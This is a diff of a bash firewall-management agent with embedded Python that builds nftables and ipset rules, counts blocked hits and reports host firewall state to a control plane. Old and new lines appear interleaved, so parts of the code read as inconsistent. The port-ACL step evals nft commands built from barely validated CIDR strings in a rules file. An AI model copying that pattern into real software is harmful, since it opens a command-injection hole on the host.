||||
import json, os, re, sys
|
||||
text = sys.stdin.read()
|
||||
# Parse nft/ipset listing from file → IP_HITS_FILE (top-N JSON).
|
||||
build_ip_hits_from_file() {
|
||||
local src="$1"
|
||||
printf '%s' '[]' >"$IP_HITS_FILE"
|
||||
[[ -f "$src" ]] || return 0
|
||||
if ! command -v python3 >/dev/null 2>&1; then
|
||||
return 0
|
||||
fi
|
||||
IP_HITS_TOP="$IP_HITS_TOP" IN_F="$src" OUT_F="$IP_HITS_FILE" python3 - <<'PY' 2>>"$LOG_FILE" || printf '%s' '[]' >"$IP_HITS_FILE"
|
||||
import json, os, re
|
||||
path = os.environ["IN_F"]
|
||||
top = int(os.environ.get("IP_HITS_TOP", "200"))
|
||||
try:
|
||||
with open(path, "r", encoding="utf-8", errors="replace") as f:
|
||||
text = f.read()
|
||||
except OSError:
|
||||
text = ""
|
||||
hits = {}
|
||||
# nft: "1.2.3.4 counter packets 10 bytes 100" or "1.2.3.0/24 packets 5 bytes 20"
|
||||
for m in re.finditer(r"([0-9]{1,3}(?:\.[0-9]{1,3}){3}(?:/[0-9]{1,2})?)\s+(?:counter\s+)?packets\s+(\d+)", text):
|
||||
ip, pkts = m.group(1), int(m.group(2))
|
||||
if pkts > 0:
|
||||
hits[ip] = max(hits.get(ip, 0), pkts)
|
||||
# ipset list Members: "1.2.3.4 packets 10 bytes 100"
|
||||
for m in re.finditer(r"^([0-9]{1,3}(?:\.[0-9]{1,3}){3}(?:/[0-9]{1,2})?)\s+packets\s+(\d+)", text, re.M):
|
||||
ip, pkts = m.group(1), int(m.group(2))
|
||||
if pkts > 0:
|
||||
hits[ip] = max(hits.get(ip, 0), pkts)
|
||||
items = [{"ip": k, "packets": v} for k, v in hits.items()]
|
||||
items.sort(key=lambda x: x["packets"], reverse=True)
|
||||
print(json.dumps(items[:top], separators=(",", ":")))
|
||||
' <<<"$text" 2>/dev/null) || IP_HITS_JSON="[]"
|
||||
return
|
||||
fi
|
||||
if command -v jq >/dev/null 2>&1; then
|
||||
# Fallback without python: empty (jq alone cannot easily top-N from free text)
|
||||
IP_HITS_JSON="[]"
|
||||
return
|
||||
fi
|
||||
IP_HITS_JSON="[]"
|
||||
with open(os.environ["OUT_F"], "w", encoding="utf-8") as f:
|
||||
json.dump(items[:top], f, separators=(",", ":"))
|
||||
print(len(items[:top]))
|
||||
PY
|
||||
}
|
||||
|
||||
collect_nft_ip_hits() {
|
||||
local text
|
||||
text=$(nft list set inet evofw deny_v4 2>/dev/null || true)
|
||||
build_ip_hits_json "$text"
|
||||
local dump="${STATE_DIR}/nft_deny_v4.txt"
|
||||
nft list set inet evofw deny_v4 >"$dump" 2>/dev/null || : >"$dump"
|
||||
build_ip_hits_from_file "$dump"
|
||||
}
|
||||
|
||||
collect_ipset_ip_hits() {
|
||||
local text
|
||||
text=$(ipset list evofw_deny_v4 2>/dev/null || true)
|
||||
build_ip_hits_json "$text"
|
||||
local dump="${STATE_DIR}/ipset_deny_v4.txt"
|
||||
ipset list evofw_deny_v4 >"$dump" 2>/dev/null || : >"$dump"
|
||||
build_ip_hits_from_file "$dump"
|
||||
}
|
||||
|
||||
collect_ip_hits() {
|
||||
IP_HITS_JSON="[]"
|
||||
printf '%s' '[]' >"$IP_HITS_FILE"
|
||||
if [[ "${KERNEL_METHOD:-}" == "nft" ]] || { [[ -z "${KERNEL_METHOD:-}" || "${KERNEL_METHOD:-}" == "auto" ]] && command -v nft >/dev/null 2>&1 && nft list set inet evofw deny_v4 >/dev/null 2>&1; }; then
|
||||
collect_nft_ip_hits
|
||||
return
|
||||
@@ -207,17 +316,118 @@ collect_ip_hits() {
|
||||
fi
|
||||
}
|
||||
|
||||
# Parse nft dynamic concat set from file → PORT_HITS_FILE.
|
||||
build_port_hits_from_file() {
|
||||
local src="$1"
|
||||
printf '%s' '[]' >"$PORT_HITS_FILE"
|
||||
[[ -f "$src" && -s "$src" ]] || return 0
|
||||
if ! command -v python3 >/dev/null 2>&1; then
|
||||
return 0
|
||||
fi
|
||||
PORT_HITS_TOP="$PORT_HITS_TOP" IN_F="$src" OUT_F="$PORT_HITS_FILE" python3 - <<'PY' 2>>"$LOG_FILE" || printf '%s' '[]' >"$PORT_HITS_FILE"
|
||||
import json, os, re
|
||||
path = os.environ["IN_F"]
|
||||
top = int(os.environ.get("PORT_HITS_TOP", "500"))
|
||||
try:
|
||||
with open(path, "r", encoding="utf-8", errors="replace") as f:
|
||||
text = f.read()
|
||||
except OSError:
|
||||
text = ""
|
||||
hits = {}
|
||||
proto_map = {"6": "tcp", "17": "udp", "tcp": "tcp", "udp": "udp"}
|
||||
pat = re.compile(
|
||||
r"([0-9]{1,3}(?:\.[0-9]{1,3}){3})\s*\.\s*([A-Za-z0-9]+)\s*\.\s*(\d+)\s+"
|
||||
r"(?:timeout\s+\S+\s+)?(?:counter\s+)?packets\s+(\d+)",
|
||||
re.I,
|
||||
)
|
||||
for m in pat.finditer(text):
|
||||
ip, raw_proto, port_s, pkts_s = m.group(1), m.group(2).lower(), m.group(3), m.group(4)
|
||||
proto = proto_map.get(raw_proto)
|
||||
if not proto:
|
||||
continue
|
||||
pkts = int(pkts_s)
|
||||
if pkts <= 0:
|
||||
continue
|
||||
port = int(port_s)
|
||||
if port < 1 or port > 65535:
|
||||
continue
|
||||
key = (ip, port, proto)
|
||||
hits[key] = max(hits.get(key, 0), pkts)
|
||||
items = [
|
||||
{"ip": ip, "port": port, "protocol": proto, "packets": pkts}
|
||||
for (ip, port, proto), pkts in hits.items()
|
||||
]
|
||||
items.sort(key=lambda x: x["packets"], reverse=True)
|
||||
with open(os.environ["OUT_F"], "w", encoding="utf-8") as f:
|
||||
json.dump(items[:top], f, separators=(",", ":"))
|
||||
print(len(items[:top]))
|
||||
PY
|
||||
}
|
||||
|
||||
collect_nft_port_hits() {
|
||||
local dump="${STATE_DIR}/nft_deny_port_hits.txt"
|
||||
printf '%s' '[]' >"$PORT_HITS_FILE"
|
||||
nft list set inet evofw deny_port_hits >"$dump" 2>/dev/null || : >"$dump"
|
||||
[[ -s "$dump" ]] || return 0
|
||||
build_port_hits_from_file "$dump"
|
||||
}
|
||||
|
||||
collect_port_hits() {
|
||||
printf '%s' '[]' >"$PORT_HITS_FILE"
|
||||
if [[ "${KERNEL_METHOD:-}" == "nft" ]] || { [[ -z "${KERNEL_METHOD:-}" || "${KERNEL_METHOD:-}" == "auto" ]] && command -v nft >/dev/null 2>&1 && nft list set inet evofw deny_port_hits >/dev/null 2>&1; }; then
|
||||
collect_nft_port_hits
|
||||
fi
|
||||
}
|
||||
|
||||
# Dynamic concat set for per-(ip, proto, dport) deny hits. Returns 0 if usable.
|
||||
ensure_nft_port_hits_set() {
|
||||
local table=$1 name=$2
|
||||
local setname=deny_port_hits
|
||||
local def
|
||||
def=$(nft list set "$table" "$name" "$setname" 2>/dev/null || true)
|
||||
if [[ -n "$def" ]] && { [[ "$def" == *"dynamic"* ]] || [[ "$def" == *"timeout"* ]]; }; then
|
||||
# Keep existing; elements age out via timeout — do not flush on every apply
|
||||
# (counters survive policy CIDR refresh when chain is recreated).
|
||||
return 0
|
||||
fi
|
||||
if [[ -n "$def" ]]; then
|
||||
nft delete set "$table" "$name" "$setname" 2>>"$LOG_FILE" || true
|
||||
fi
|
||||
if nft add set "$table" "$name" "$setname" \
|
||||
'{ type ipv4_addr . inet_proto . inet_service; flags dynamic,timeout; timeout 1h; counter; }' \
|
||||
2>>"$LOG_FILE"; then
|
||||
return 0
|
||||
fi
|
||||
# Older kernels may need slightly different flag spelling.
|
||||
if nft add set "$table" "$name" "$setname" \
|
||||
'{ type ipv4_addr . inet_proto . inet_service; flags dynamic; timeout 1h; counter; }' \
|
||||
2>>"$LOG_FILE"; then
|
||||
return 0
|
||||
fi
|
||||
log "nft: deny_port_hits unsupported — port hits disabled"
|
||||
return 1
|
||||
}
|
||||
|
||||
apply_nft() {
|
||||
local table=inet name=evofw
|
||||
local deny_v4=() allow_v4=() p
|
||||
PORT_HITS_ENABLED=0
|
||||
for p in "${DENY[@]+"${DENY[@]}"}"; do [[ "$p" == *:* ]] && continue; deny_v4+=("$p"); done
|
||||
for p in "${ALLOW[@]+"${ALLOW[@]}"}"; do [[ "$p" == *:* ]] && continue; allow_v4+=("$p"); done
|
||||
|
||||
nft list table "$table" "$name" >/dev/null 2>&1 || nft add table "$table" "$name"
|
||||
# Drop chains first so sets can be deleted/recreated (upgrade to counters / port hits).
|
||||
# Stats were already captured by the caller before apply_nft.
|
||||
nft delete chain "$table" "$name" input 2>/dev/null || true
|
||||
nft delete chain "$table" "$name" forward 2>/dev/null || true
|
||||
nft delete chain "$table" "$name" prerouting 2>/dev/null || true
|
||||
ensure_nft_set "$table" "$name" deny_v4
|
||||
ensure_nft_set "$table" "$name" allow_v4
|
||||
nft flush set "$table" "$name" deny_v4
|
||||
nft flush set "$table" "$name" allow_v4
|
||||
if ensure_nft_port_hits_set "$table" "$name"; then
|
||||
PORT_HITS_ENABLED=1
|
||||
fi
|
||||
nft flush set "$table" "$name" deny_v4 2>>"$LOG_FILE" || true
|
||||
nft flush set "$table" "$name" allow_v4 2>>"$LOG_FILE" || true
|
||||
|
||||
local batch=() chunk=64
|
||||
for p in "${deny_v4[@]}"; do
|
||||
@@ -232,39 +442,418 @@ apply_nft() {
|
||||
done
|
||||
((${#batch[@]})) && nft_add_chunk "$table" "$name" allow_v4 "${batch[@]}"
|
||||
|
||||
nft delete chain "$table" "$name" input 2>/dev/null || true
|
||||
# Unified chain: deny → allow → default_action
|
||||
# input + forward: deny → Port ACL → allow → default.
|
||||
# prerouting (mangle, before Docker NAT): established → deny → Port ACL inbound only
|
||||
# (fib daddr type local; no default drop — other traffic continues to host/Docker).
|
||||
if [[ "$DEFAULT_ACTION" == "drop" ]]; then
|
||||
nft add chain "$table" "$name" input '{ type filter hook input priority 0; policy drop; }'
|
||||
nft add chain "$table" "$name" forward '{ type filter hook forward priority 0; policy drop; }'
|
||||
else
|
||||
nft add chain "$table" "$name" input '{ type filter hook input priority 0; policy accept; }'
|
||||
nft add chain "$table" "$name" forward '{ type filter hook forward priority 0; policy accept; }'
|
||||
fi
|
||||
nft add chain "$table" "$name" prerouting '{ type filter hook prerouting priority mangle; policy accept; }'
|
||||
|
||||
nft add rule "$table" "$name" input ct state established,related counter accept
|
||||
nft add rule "$table" "$name" input iif lo counter accept
|
||||
nft add rule "$table" "$name" input ip saddr @deny_v4 counter drop
|
||||
nft add rule "$table" "$name" forward ct state established,related counter accept
|
||||
nft add rule "$table" "$name" prerouting ct state established,related counter accept
|
||||
|
||||
nft_add_deny_on_chain "$table" "$name" input
|
||||
nft_add_deny_on_chain "$table" "$name" forward
|
||||
nft_add_deny_on_chain "$table" "$name" prerouting
|
||||
|
||||
apply_nft_port_acl "$table" "$name"
|
||||
|
||||
nft add rule "$table" "$name" input ip saddr @allow_v4 counter accept
|
||||
nft add rule "$table" "$name" forward ip saddr @allow_v4 counter accept
|
||||
if [[ "$DEFAULT_ACTION" == "drop" ]]; then
|
||||
nft add rule "$table" "$name" input counter drop
|
||||
nft add rule "$table" "$name" forward counter drop
|
||||
else
|
||||
nft add rule "$table" "$name" input counter accept
|
||||
nft add rule "$table" "$name" forward counter accept
|
||||
fi
|
||||
KERNEL_METHOD=nft
|
||||
APPLIED=$((${#deny_v4[@]} + ${#allow_v4[@]}))
|
||||
}
|
||||
|
||||
# Deny set (+ optional port-hits) on a filter chain. Mutates PORT_HITS_ENABLED on fallback.
|
||||
nft_add_deny_on_chain() {
|
||||
local table=$1 name=$2 chain=$3
|
||||
if [[ "$PORT_HITS_ENABLED" -eq 1 ]]; then
|
||||
if ! nft add rule "$table" "$name" "$chain" \
|
||||
ip saddr @deny_v4 meta l4proto '{ tcp, udp }' \
|
||||
update @deny_port_hits '{ ip saddr . meta l4proto . th dport }' \
|
||||
counter drop 2>>"$LOG_FILE"; then
|
||||
log "nft: port-hit deny on $chain failed — fallback to plain deny drop"
|
||||
PORT_HITS_ENABLED=0
|
||||
nft add rule "$table" "$name" "$chain" ip saddr @deny_v4 counter drop
|
||||
else
|
||||
nft add rule "$table" "$name" "$chain" ip saddr @deny_v4 counter drop
|
||||
fi
|
||||
else
|
||||
nft add rule "$table" "$name" "$chain" ip saddr @deny_v4 counter drop
|
||||
fi
|
||||
}
|
||||
|
||||
# Apply desired L4 port open/close rules from PORT_RULES_FILE (apply_version 3).
|
||||
apply_nft_port_acl() {
|
||||
local table=$1 name=$2
|
||||
[[ -f "$PORT_RULES_FILE" ]] || return 0
|
||||
if ! command -v python3 >/dev/null 2>&1; then
|
||||
log "nft port ACL skipped — need python3"
|
||||
return 0
|
||||
fi
|
||||
# Delete prior per-rule src sets (name prefix port_src_)
|
||||
local setline setname
|
||||
while IFS= read -r setline; do
|
||||
setname=$(echo "$setline" | sed -n 's/.*set \(port_src_[a-zA-Z0-9_-]*\).*/\1/p')
|
||||
[[ -n "$setname" ]] || continue
|
||||
nft delete set "$table" "$name" "$setname" 2>/dev/null || true
|
||||
done < <(nft list table "$table" "$name" 2>/dev/null | grep -E 'set port_src_' || true)
|
||||
|
||||
local cmds_file
|
||||
cmds_file=$(mktemp)
|
||||
python3 - "$PORT_RULES_FILE" >"$cmds_file" <<'PY'
|
||||
import json, sys, re
|
||||
path = sys.argv[1]
|
||||
try:
|
||||
rules = json.load(open(path, encoding="utf-8"))
|
||||
except Exception:
|
||||
rules = []
|
||||
safe_id = re.compile(r"[^a-zA-Z0-9_]")
|
||||
CHAINS = ("prerouting", "input", "forward")
|
||||
|
||||
def parse_rule(r):
|
||||
rid = safe_id.sub("_", str(r.get("id") or "x"))[:40]
|
||||
action = r.get("action") or "open"
|
||||
proto = r.get("protocol") or "tcp"
|
||||
if proto not in ("tcp", "udp"):
|
||||
return None
|
||||
ps = int(r.get("port_start") or 0)
|
||||
pe = int(r.get("port_end") or ps)
|
||||
if ps < 1 or pe > 65535 or pe < ps:
|
||||
return None
|
||||
cidrs = [c for c in (r.get("src_cidrs") or []) if c and ":" not in c]
|
||||
if not cidrs:
|
||||
return None
|
||||
dport = f"{ps}" if ps == pe else f"{ps}-{pe}"
|
||||
return {
|
||||
"rid": rid,
|
||||
"action": action,
|
||||
"proto": proto,
|
||||
"dport": dport,
|
||||
"cidrs": cidrs,
|
||||
"is_all": any(c in ("0.0.0.0/0", "0.0.0.0") for c in cidrs),
|
||||
}
|
||||
|
||||
def emit_set(p):
|
||||
if p["is_all"]:
|
||||
return
|
||||
setname = f"port_src_{p['rid']}_{p['proto']}"
|
||||
print(f"nft add set inet evofw {setname} '{{ type ipv4_addr; flags interval; }}'")
|
||||
chunk = []
|
||||
for c in p["cidrs"]:
|
||||
chunk.append(c)
|
||||
if len(chunk) >= 32:
|
||||
print(f"nft add element inet evofw {setname} '{{ {', '.join(chunk)} }}'")
|
||||
chunk = []
|
||||
if chunk:
|
||||
print(f"nft add element inet evofw {setname} '{{ {', '.join(chunk)} }}'")
|
||||
|
||||
def chain_match(chain):
|
||||
if chain == "prerouting":
|
||||
return "fib daddr type local "
|
||||
if chain == "forward":
|
||||
return "ct status dnat "
|
||||
return ""
|
||||
|
||||
def emit_rule(p, chain):
|
||||
verdict = "drop" if p["action"] == "close" else "accept"
|
||||
comment = f"evofw-port-{p['rid']}"
|
||||
proto, dport = p["proto"], p["dport"]
|
||||
prefix = chain_match(chain)
|
||||
if p["is_all"]:
|
||||
print(
|
||||
f'nft add rule inet evofw {chain} {prefix}{proto} dport {dport} counter {verdict} comment "{comment}"'
|
||||
)
|
||||
return
|
||||
setname = f"port_src_{p['rid']}_{p['proto']}"
|
||||
print(
|
||||
f'nft add rule inet evofw {chain} {prefix}ip saddr @{setname} {proto} dport {dport} counter {verdict} comment "{comment}"'
|
||||
)
|
||||
|
||||
parsed = [p for p in (parse_rule(r) for r in rules) if p]
|
||||
closes = [p for p in parsed if p["action"] == "close"]
|
||||
opens = [p for p in parsed if p["action"] != "close"]
|
||||
seen_sets = set()
|
||||
for p in closes + opens:
|
||||
key = (p["rid"], p["proto"])
|
||||
if key in seen_sets:
|
||||
continue
|
||||
seen_sets.add(key)
|
||||
emit_set(p)
|
||||
for chain in CHAINS:
|
||||
for p in closes:
|
||||
emit_rule(p, chain)
|
||||
for p in opens:
|
||||
emit_rule(p, chain)
|
||||
seen = set()
|
||||
for p in opens:
|
||||
key = (p["proto"], p["dport"])
|
||||
if key in seen:
|
||||
continue
|
||||
seen.add(key)
|
||||
comment = f"evofw-port-implicit-{p['proto']}-{p['dport']}"
|
||||
prefix = chain_match(chain)
|
||||
print(
|
||||
f'nft add rule inet evofw {chain} {prefix}{p["proto"]} dport {p["dport"]} counter drop comment "{comment}"'
|
||||
)
|
||||
PY
|
||||
local cmd
|
||||
while IFS= read -r cmd; do
|
||||
[[ -n "$cmd" ]] || continue
|
||||
# shellcheck disable=SC2086
|
||||
eval "$cmd" 2>>"$LOG_FILE" || log "nft port ACL cmd failed: $cmd"
|
||||
done <"$cmds_file"
|
||||
rm -f "$cmds_file"
|
||||
}
|
||||
|
||||
# Collect observed host firewall rules + listeners (best-effort).
|
||||
collect_host_firewall() {
|
||||
printf '%s' '{"rules":[],"listeners":[]}' >"$HOST_FW_FILE"
|
||||
if ! command -v python3 >/dev/null 2>&1; then
|
||||
log "host_firewall: python3 missing — empty snapshot"
|
||||
return 0
|
||||
fi
|
||||
local tmpdir nft_f ipt_f ufw_f fwd_f ss_f out_f
|
||||
tmpdir=$(mktemp -d "${STATE_DIR}/hostfw.XXXXXX") || return 0
|
||||
nft_f="$tmpdir/nft.txt"
|
||||
ipt_f="$tmpdir/ipt.txt"
|
||||
ufw_f="$tmpdir/ufw.txt"
|
||||
fwd_f="$tmpdir/fwd.txt"
|
||||
ss_f="$tmpdir/ss.txt"
|
||||
out_f="$tmpdir/out.json"
|
||||
# Dump to files — env vars blow ARG_MAX on large nft rulesets.
|
||||
nft list ruleset >"$nft_f" 2>/dev/null || true
|
||||
iptables-save >"$ipt_f" 2>/dev/null || true
|
||||
if command -v ufw >/dev/null 2>&1; then
|
||||
ufw status verbose >"$ufw_f" 2>/dev/null || true
|
||||
else
|
||||
: >"$ufw_f"
|
||||
fi
|
||||
if command -v firewall-cmd >/dev/null 2>&1; then
|
||||
firewall-cmd --list-all >"$fwd_f" 2>/dev/null || true
|
||||
else
|
||||
: >"$fwd_f"
|
||||
fi
|
||||
ss -lntu >"$ss_f" 2>/dev/null || true
|
||||
|
||||
if NFT_F="$nft_f" IPT_F="$ipt_f" UFW_F="$ufw_f" FWD_F="$fwd_f" SS_F="$ss_f" OUT_F="$out_f" python3 - <<'PY' >/tmp/evofw-hostfw-counts.txt 2>>"$LOG_FILE"
|
||||
import json, os, re
|
||||
|
||||
def read(path: str) -> str:
|
||||
try:
|
||||
with open(path, "r", encoding="utf-8", errors="replace") as f:
|
||||
return f.read()
|
||||
except OSError:
|
||||
return ""
|
||||
|
||||
def ownership_of(text: str) -> str:
|
||||
t = text.lower()
|
||||
if "evofw" in t:
|
||||
return "evofw"
|
||||
return "foreign"
|
||||
|
||||
def rule(**kwargs):
|
||||
# Omit null/empty optional fields — Zod optional rejects JSON null.
|
||||
out = {
|
||||
"ownership": kwargs["ownership"],
|
||||
"backend": kwargs["backend"],
|
||||
"raw": kwargs["raw"][:512],
|
||||
}
|
||||
for k in ("table", "chain", "action", "protocol", "dport", "sport", "saddr", "daddr", "comment"):
|
||||
v = kwargs.get(k)
|
||||
if v is not None and v != "":
|
||||
out[k] = v if not isinstance(v, str) else v[:128 if k in ("table", "chain", "saddr", "daddr") else (64 if k in ("action", "dport", "sport", "protocol") else 256)]
|
||||
return out
|
||||
|
||||
rules = []
|
||||
listeners = []
|
||||
|
||||
nft = read(os.environ["NFT_F"])
|
||||
cur_table = ""
|
||||
cur_chain = ""
|
||||
for line in nft.splitlines():
|
||||
ls = line.strip()
|
||||
if ls.startswith("table "):
|
||||
cur_table = ls
|
||||
cur_chain = ""
|
||||
continue
|
||||
m = re.match(r"chain\s+(\S+)", ls)
|
||||
if m:
|
||||
cur_chain = m.group(1)
|
||||
continue
|
||||
if not ls or ls.startswith("type ") or ls.startswith("policy ") or ls.startswith("set ") or ls.startswith("map "):
|
||||
continue
|
||||
if "accept" in ls or "drop" in ls or "reject" in ls or "jump " in ls or "goto " in ls:
|
||||
act = "accept" if " accept" in f" {ls}" or ls.endswith("accept") else (
|
||||
"drop" if " drop" in f" {ls}" or ls.endswith("drop") else (
|
||||
"reject" if "reject" in ls else "other"
|
||||
)
|
||||
)
|
||||
proto = ""
|
||||
if " tcp " in f" {ls}" or ls.startswith("tcp "):
|
||||
proto = "tcp"
|
||||
elif " udp " in f" {ls}" or ls.startswith("udp "):
|
||||
proto = "udp"
|
||||
dport = ""
|
||||
m = re.search(r"dport\s+(\S+)", ls)
|
||||
if m:
|
||||
dport = m.group(1)
|
||||
saddr = ""
|
||||
m = re.search(r"saddr\s+(\S+)", ls)
|
||||
if m:
|
||||
saddr = m.group(1).lstrip("@")
|
||||
rules.append(rule(
|
||||
ownership=ownership_of(cur_table + " " + cur_chain + " " + ls),
|
||||
backend="nft",
|
||||
table=cur_table[:120],
|
||||
chain=cur_chain[:120],
|
||||
action=act,
|
||||
protocol=proto or None,
|
||||
dport=dport or None,
|
||||
saddr=saddr or None,
|
||||
raw=ls[:500],
|
||||
))
|
||||
|
||||
ipt = read(os.environ["IPT_F"])
|
||||
cur_chain = ""
|
||||
for line in ipt.splitlines():
|
||||
if line.startswith(":"):
|
||||
cur_chain = line[1:].split()[0] if line[1:] else ""
|
||||
continue
|
||||
if not line.startswith("-A "):
|
||||
continue
|
||||
parts = line.split(None, 2)
|
||||
chain = parts[1] if len(parts) > 1 else ""
|
||||
act = "DROP" if " -j DROP" in line else (
|
||||
"ACCEPT" if " -j ACCEPT" in line else (
|
||||
"REJECT" if " -j REJECT" in line else "other"
|
||||
)
|
||||
)
|
||||
proto = ""
|
||||
m = re.search(r"-p\s+(\w+)", line)
|
||||
if m:
|
||||
proto = m.group(1)
|
||||
dport = ""
|
||||
m = re.search(r"--dport(?:s)?\s+(\S+)", line)
|
||||
if m:
|
||||
dport = m.group(1)
|
||||
saddr = ""
|
||||
m = re.search(r"-s\s+(\S+)", line)
|
||||
if m:
|
||||
saddr = m.group(1)
|
||||
rules.append(rule(
|
||||
ownership=ownership_of(line),
|
||||
backend="iptables",
|
||||
chain=chain[:120],
|
||||
action=act.lower() if isinstance(act, str) else act,
|
||||
protocol=proto or None,
|
||||
dport=dport or None,
|
||||
saddr=saddr or None,
|
||||
raw=line[:500],
|
||||
))
|
||||
|
||||
ufw = read(os.environ["UFW_F"])
|
||||
for line in ufw.splitlines():
|
||||
ls = line.strip()
|
||||
if not ls or ls.startswith("Status") or ls.startswith("Logging") or ls.startswith("Default") or ls.startswith("To") or ls.startswith("--"):
|
||||
continue
|
||||
if "ALLOW" in ls or "DENY" in ls or "REJECT" in ls:
|
||||
rules.append(rule(
|
||||
ownership=ownership_of(ls),
|
||||
backend="ufw",
|
||||
action="allow" if "ALLOW" in ls else ("deny" if "DENY" in ls else "reject"),
|
||||
raw=ls[:500],
|
||||
))
|
||||
|
||||
fwd = read(os.environ["FWD_F"])
|
||||
for line in fwd.splitlines():
|
||||
ls = line.strip()
|
||||
if not ls:
|
||||
continue
|
||||
if ls.startswith("ports:") or ls.startswith("services:") or ":" in ls:
|
||||
rules.append(rule(
|
||||
ownership="foreign",
|
||||
backend="firewalld",
|
||||
raw=ls[:500],
|
||||
))
|
||||
|
||||
ss = read(os.environ["SS_F"])
|
||||
for line in ss.splitlines()[1:]:
|
||||
parts = line.split()
|
||||
if len(parts) < 5:
|
||||
continue
|
||||
proto = parts[0]
|
||||
local = parts[4]
|
||||
m = re.search(r"([^:]+):(\d+)$", local)
|
||||
if not m:
|
||||
m = re.search(r"\[([^\]]+)\]:(\d+)$", local)
|
||||
if not m:
|
||||
continue
|
||||
addr, port_s = m.group(1), m.group(2)
|
||||
else:
|
||||
addr, port_s = m.group(1), m.group(2)
|
||||
try:
|
||||
port = int(port_s)
|
||||
except ValueError:
|
||||
continue
|
||||
listeners.append({
|
||||
"protocol": "tcp" if proto.startswith("tcp") else ("udp" if proto.startswith("udp") else proto),
|
||||
"port": port,
|
||||
"address": addr,
|
||||
})
|
||||
|
||||
rules = rules[:500]
|
||||
listeners = listeners[:200]
|
||||
with open(os.environ["OUT_F"], "w", encoding="utf-8") as f:
|
||||
json.dump({"rules": rules, "listeners": listeners}, f, separators=(",", ":"))
|
||||
print(f"{len(rules)} {len(listeners)}")
|
||||
PY
|
||||
then
|
||||
if [[ -f "$out_f" ]]; then
|
||||
cp "$out_f" "$HOST_FW_FILE"
|
||||
log "host_firewall collected $(tr -d '\r\n' </tmp/evofw-hostfw-counts.txt 2>/dev/null || echo '?')"
|
||||
fi
|
||||
else
|
||||
log "host_firewall: collect failed — empty snapshot"
|
||||
printf '%s' '{"rules":[],"listeners":[]}' >"$HOST_FW_FILE"
|
||||
fi
|
||||
rm -rf "$tmpdir" 2>/dev/null || true
|
||||
}
|
||||
|
||||
ensure_ipset_counters() {
|
||||
local name=$1
|
||||
if ! ipset list "$name" >/dev/null 2>&1; then
|
||||
ipset create "$name" hash:net family inet counters
|
||||
return
|
||||
if ipset create "$name" hash:net family inet counters 2>>"$LOG_FILE"; then
|
||||
return 0
|
||||
fi
|
||||
ipset create "$name" hash:net family inet 2>>"$LOG_FILE" || {
|
||||
log "ipset: failed to create $name"
|
||||
return 1
|
||||
}
|
||||
return 0
|
||||
fi
|
||||
# Recreate once if set has no packet counters (Header lacks "counters").
|
||||
local header
|
||||
header=$(ipset list "$name" 2>/dev/null | head -n 5 || true)
|
||||
if [[ "$header" != *"counters"* && "$header" != *"packet"* ]]; then
|
||||
ipset destroy "$name" 2>>"$LOG_FILE" || true
|
||||
ipset create "$name" hash:net family inet counters
|
||||
if [[ "$header" == *"counters"* ]]; then
|
||||
return 0
|
||||
fi
|
||||
# Cannot safely destroy while iptables may reference the set — leave as-is.
|
||||
log "ipset: $name has no counters (leave existing; per-IP hits unavailable)"
|
||||
}
|
||||
|
||||
apply_ipset() {
|
||||
@@ -298,13 +887,76 @@ send_report() {
|
||||
if [[ -z "${IP_HITS_CAPTURED:-}" ]]; then
|
||||
collect_ip_hits
|
||||
fi
|
||||
local report
|
||||
report=$(printf '{"status":"ok","prefix_count":%s,"packets_dropped":%s,"packets_accepted":%s,"kernel_method":"%s","source":"agent","ip_hits":%s}' \
|
||||
"${APPLIED:-0}" "${PACKETS_DROPPED:-0}" "${PACKETS_ACCEPTED:-0}" "${KERNEL_METHOD:-$BACKEND}" "${IP_HITS_JSON:-[]}")
|
||||
curl -fsS -X POST "${EVOFW_CP_URL%/}/v1/agent/apply-report" \
|
||||
if [[ -z "${PORT_HITS_CAPTURED:-}" ]]; then
|
||||
collect_port_hits
|
||||
fi
|
||||
if [[ -z "${HOST_FW_CAPTURED:-}" ]]; then
|
||||
collect_host_firewall
|
||||
fi
|
||||
local report_file http_code counts n_rules n_listen n_ip n_port
|
||||
report_file=$(mktemp "${STATE_DIR}/report.XXXXXX")
|
||||
# Compose report via files only — never bash ${var:-{...}} (} closes expansion).
|
||||
if command -v python3 >/dev/null 2>&1; then
|
||||
[[ -f "$HOST_FW_FILE" ]] || printf '%s' '{"rules":[],"listeners":[]}' >"$HOST_FW_FILE"
|
||||
[[ -f "$IP_HITS_FILE" ]] || printf '%s' '[]' >"$IP_HITS_FILE"
|
||||
[[ -f "$PORT_HITS_FILE" ]] || printf '%s' '[]' >"$PORT_HITS_FILE"
|
||||
counts=$(APPLIED="${APPLIED:-0}" DROPPED="${PACKETS_DROPPED:-0}" ACCEPTED="${PACKETS_ACCEPTED:-0}" \
|
||||
METHOD="${KERNEL_METHOD:-$BACKEND}" HOST_FW_F="$HOST_FW_FILE" IP_HITS_F="$IP_HITS_FILE" \
|
||||
PORT_HITS_F="$PORT_HITS_FILE" OUT_F="$report_file" python3 - <<'PY' 2>>"$LOG_FILE"
|
||||
import json, os
|
||||
|
||||
def load(path, default):
|
||||
try:
|
||||
with open(path, "r", encoding="utf-8") as f:
|
||||
return json.load(f)
|
||||
except Exception as e:
|
||||
print(f"load_error {path}: {e}", file=__import__("sys").stderr)
|
||||
return default
|
||||
|
||||
payload = {
|
||||
"status": "ok",
|
||||
"prefix_count": int(os.environ.get("APPLIED") or 0),
|
||||
"packets_dropped": int(os.environ.get("DROPPED") or 0),
|
||||
"packets_accepted": int(os.environ.get("ACCEPTED") or 0),
|
||||
"kernel_method": os.environ.get("METHOD") or "auto",
|
||||
"source": "agent",
|
||||
"ip_hits": load(os.environ["IP_HITS_F"], []),
|
||||
"port_hits": load(os.environ["PORT_HITS_F"], []),
|
||||
"host_firewall": load(os.environ["HOST_FW_F"], {"rules": [], "listeners": []}),
|
||||
}
|
||||
with open(os.environ["OUT_F"], "w", encoding="utf-8") as f:
|
||||
json.dump(payload, f, separators=(",", ":"))
|
||||
n_rules = len(payload["host_firewall"].get("rules") or [])
|
||||
n_listen = len(payload["host_firewall"].get("listeners") or [])
|
||||
n_ip = len(payload["ip_hits"] or [])
|
||||
n_port = len(payload["port_hits"] or [])
|
||||
print(f"{n_rules} {n_listen} {n_ip} {n_port}")
|
||||
PY
|
||||
) || counts="0 0 0 0"
|
||||
# shellcheck disable=SC2086
|
||||
set -- $counts
|
||||
n_rules=${1:-0}
|
||||
n_listen=${2:-0}
|
||||
n_ip=${3:-0}
|
||||
n_port=${4:-0}
|
||||
else
|
||||
printf '{"status":"ok","prefix_count":%s,"packets_dropped":%s,"packets_accepted":%s,"kernel_method":"%s","source":"agent","ip_hits":[],"port_hits":[]}' \
|
